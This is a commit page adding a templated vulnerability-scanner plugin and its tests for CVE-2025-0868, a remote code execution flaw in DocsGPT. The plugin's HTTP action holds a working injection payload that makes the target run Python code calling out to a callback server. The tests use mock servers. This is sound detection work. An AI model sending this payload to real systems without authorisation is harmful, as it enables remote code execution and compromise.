Skip to content

Commit d1f911d

Browse files
committed
Add CVE-2025-0868 Templated Scanner
1 parent 61b97bf commit d1f911d

2 files changed

Lines changed: 141 additions & 0 deletions

File tree

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "DocsGPT_CVE_2025_0868"
11+
author: "frkngksl"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE-2025-0868"
19+
}
20+
severity: CRITICAL
21+
title: "CVE-2025-0868 DocsGPT RCE"
22+
description: "DocsGPT is an AI-powered, open-source tool that has the function of streamlining the way users interact with documentation. The vulnerability allows unauthorized attackers to execute arbitrary Python code remotely on affected systems. This could potentially lead to complete system compromise, data theft, or service disruption, as the attack requires no authentication and can be executed remotely."
23+
recommendation: "Update the version 0.13.0 or later."
24+
related_id: {
25+
publisher: "CVE"
26+
value: "CVE-2025-0868"
27+
}
28+
}
29+
30+
config: {}
31+
32+
actions: {
33+
name: "trigger_code_execution"
34+
http_request: {
35+
method: POST
36+
uri: "/api/remote"
37+
headers: [
38+
{ name: "Content-Type" value: "application/x-www-form-urlencoded" }
39+
]
40+
data: "user=1&source=reddit&name=other&data={\"source\":\"reddit\",\"client_id\":\"1111\",\"client_secret\":1111,\"user_agent\":\"111\",\"search_queries\":[\"\"],\"number_posts\":10,\"rce\\\\\":__import__('requests').get('{{ T_CBS_URI }}')}#\":11}"
41+
response: {
42+
http_status: 200
43+
expect_all: {
44+
conditions: [
45+
{ body: {} contains: "\"success\": true" },
46+
{ body: {} contains: "\"task_id\":" }
47+
]
48+
}
49+
}
50+
}
51+
}
52+
53+
actions: {
54+
name: "sleep"
55+
utility: { sleep: { duration_ms: 1000 } }
56+
}
57+
58+
actions: {
59+
name: "check_callback_server_logs"
60+
callback_server: { action_type: CHECK }
61+
}
62+
63+
64+
#############
65+
# WORKFLOWS #
66+
#############
67+
68+
workflows: {
69+
condition: REQUIRES_CALLBACK_SERVER
70+
actions: [
71+
"trigger_code_execution",
72+
"sleep",
73+
"check_callback_server_logs"
74+
]
75+
}
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "DocsGPT_CVE_2025_0868"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsTrue"
10+
expect_vulnerability: true
11+
12+
mock_callback_server: {
13+
enabled: true
14+
has_interaction: true
15+
}
16+
17+
mock_http_server: {
18+
mock_responses: [
19+
{
20+
uri: "/api/remote"
21+
status: 200
22+
body_content: "{ \"success\": true,\"task_id\": \"c4473c2f-5baf-4d4a-821b-1260a6cce4ce\"}"
23+
}
24+
]
25+
}
26+
}
27+
28+
tests: {
29+
name: "whenNoCallback_returnsFalse"
30+
expect_vulnerability: false
31+
32+
mock_callback_server: {
33+
enabled: true
34+
has_interaction: false
35+
}
36+
37+
mock_http_server: {
38+
mock_responses: [
39+
{
40+
uri: "/api/remote"
41+
status: 200
42+
body_content: "{ \"success\": true,\"task_id\": \"c4473c2f-5baf-4d4a-821b-1260a6cce4ce\"}"
43+
}
44+
]
45+
}
46+
}
47+
48+
tests: {
49+
name: "whenNotDocsGPT_returnsFalse"
50+
expect_vulnerability: false
51+
52+
mock_callback_server: {
53+
enabled: true
54+
has_interaction: true
55+
}
56+
57+
mock_http_server: {
58+
mock_responses: [
59+
{
60+
uri: "TSUNAMI_MAGIC_ANY_URI"
61+
status: 200
62+
body_content: "Hello world"
63+
}
64+
]
65+
}
66+
}

0 commit comments

Comments
 (0)